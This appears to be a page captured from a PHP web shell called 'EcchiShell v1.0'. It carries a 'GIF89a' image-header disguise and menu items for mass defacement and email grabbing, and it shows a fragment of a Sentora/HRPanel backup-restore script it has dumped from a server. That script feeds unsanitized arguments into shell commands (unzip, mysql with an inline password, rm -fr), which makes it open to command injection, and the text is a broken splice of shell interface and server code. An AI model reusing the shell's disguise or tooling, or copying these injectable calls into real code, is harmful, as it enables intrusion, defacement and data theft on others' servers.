GIF89a; EcchiShell v1.0
//backup/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } $vhost_dir=ctrl_options::GetSystemOption('hosted_dir'); if(!file_exists($vhost_dir.$argv[1]."/backups/".$argv[2])) { echo "File name does not exists in the given user backup folder"; exit; } /* ///////////////////////////////////////////// Calculation start /////////////////////////////////// */ $path=$vhost_dir.trim($argv[1])."/backups/".trim($argv[2]); //$total_bk_size_in_kb=(int)shell_exec("unzip -l $path | tail -1 | awk '{print $1}'"); //$available_size_in_kb=(int)shell_exec("df | awk '{print $4}' | head -2 | tail -1"); //$overall_size_in_kb=(int)shell_exec("df | awk '{print $2}' | head -2 | tail -1"); $total_bk_size_in_kb=(int)shell_exec("unzip -l $path | tail -1 | awk '{print $1/1024}'"); $available_size_in_kb=(int)shell_exec("df | awk '{print $4}' | head -2 | tail -1"); $overall_size_in_kb=(int)shell_exec("df | awk '{print $2}' | head -2 | tail -1"); if($available_size_in_kb < $total_bk_size_in_kb ) { echo "Due to disk space exceeed, your restore does not working. kindly contact your administrator."; exit; } $remaining_kb=$available_size_in_kb - $total_bk_size_in_kb; $remaining_percentage = $remaining_kb / $overall_size_in_kb * 100 ; if($remaining_percentage < 5 ) { echo "Due to disk space exceeed, your restore not working. kindly contact your administrator."; exit; } /* ///////////////////////////////////////////// Calculation End /////////////////////////////////// */ $download=1; if (isset($argv[1]) && $argv[1] != "") { $username=trim($argv[1]); $rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc AND a.ac_deleted_ts is NULL"); $rows->bindParam(':ac_user_vc', $username); $rows->execute(); $res_count = $rows->rowCount(); if( $res_count > 0 ) { //if ($rows->fetchColumn() != 0) { //$rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc"); //$rows->bindParam(':ac_user_vc', $username); //$rows->execute(); $dbvals = $rows->fetch(); $userid=$dbvals['ac_id_pk']; if ($backup = ExecuteRestore($userid, $username, $download,$argv[2])) { echo "Restore completed."; } else { //echo "

Unauthorized Access!

"; echo "This File Not created by HRPanel. For security reason we have not allowed this files."; } } else { echo "Username does not exists."; exit(); } } function ExecuteRestore($userid, $username, $download = 0,$filename) { include('/etc/sentora/panel/cnf/database.php'); echo "Restart started. \n"; $dest_path="/var/sentora/hostdata/".$username."/"; # $src_path="/var/sentora/hostdata/".$username."/"; $vhost_dir=ctrl_options::GetSystemOption('hosted_dir'); $src_path=$vhost_dir.$username."/backups/"; echo $cmd="cd $src_path && unzip $filename && cd mysql/ 2>&1 "; echo "\n"; $output=passthru($cmd,$return_val); echo $cmd="cd $src_path && unzip $filename && cd mysql/ 2>&1 "; $dbname=md5(sha1($username."SQL")).".sql"; //echo "/var/sentora/hostdata/".$username."/mysql/".$dbname."\n"; echo "\n"; if(file_exists($vhost_dir.$username."/backups/mysql/".$dbname)) { $cmd="mysql -u $user -p'$pass' < $vhost_dir$username/backups/mysql/$dbname"; $output=passthru($cmd,$return_val); $output=array(); $return_val=""; $output=passthru($cmd,$return_val); $cmd="rm -fr $src_path/mysql"; exec($cmd); return TRUE; }else { return FALSE; } } ?>